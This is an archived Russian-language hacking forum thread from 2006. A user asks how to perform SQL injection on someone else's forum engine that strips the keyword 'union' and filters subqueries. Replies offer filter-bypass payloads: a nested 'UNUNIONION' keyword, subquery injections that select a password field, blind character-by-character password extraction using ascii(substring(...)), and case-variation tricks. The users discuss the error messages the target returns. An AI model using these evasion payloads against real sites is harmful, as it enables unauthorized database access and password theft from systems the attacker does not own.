PDA

Просмотр полной версии : sql injection without union


Майор
07.04.2006, 02:29
смотрел я на днях движок одного форума, там из запросов вырезается слово Union =(
что-нибудь можно придумать ?

Deem3n®
07.04.2006, 10:07
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2

k1b0rg
07.04.2006, 10:26
а можно ошарашить движок подзапросами
например такого вида:
seclet pass from users where id=-1+and(select+pass)
или путем посиволного перебора пароля

seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<100)

Майор
07.04.2006, 13:40
ну перебор - это не то чего бы хотелось :)
вложенные запросы тоже режутся
вот так вот это происходит:
preg_match('~(^|[^a-z])union($|[^[a-z])~s',$sql)

preg_match('~\([^)]*?select~s',$sql)

естественно запрос идёт не к таблице с юзерами =(

Майор
07.04.2006, 13:43
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2
не, там сообщение об ошибке выводиться ...

k1b0rg
07.04.2006, 14:40
попробуй разный регистр ;)

Майор
07.04.2006, 15:21
попробуй разный регистр ;)
там все в нижний переводиться ...

k1b0rg
07.04.2006, 15:29
а если использовать and(mysql.pass='123')

Майор
07.04.2006, 16:06
Unknown column 'mysql.user.pass' in 'where clause'
даже еслиб работало , толку немного от этого :(

k1b0rg
07.04.2006, 16:17
Unknown column 'mysql.user.pass' in 'where clause'

толк есть, значит подзапросы работают, а я тебе код дал для примера, а подставлять нада свои значения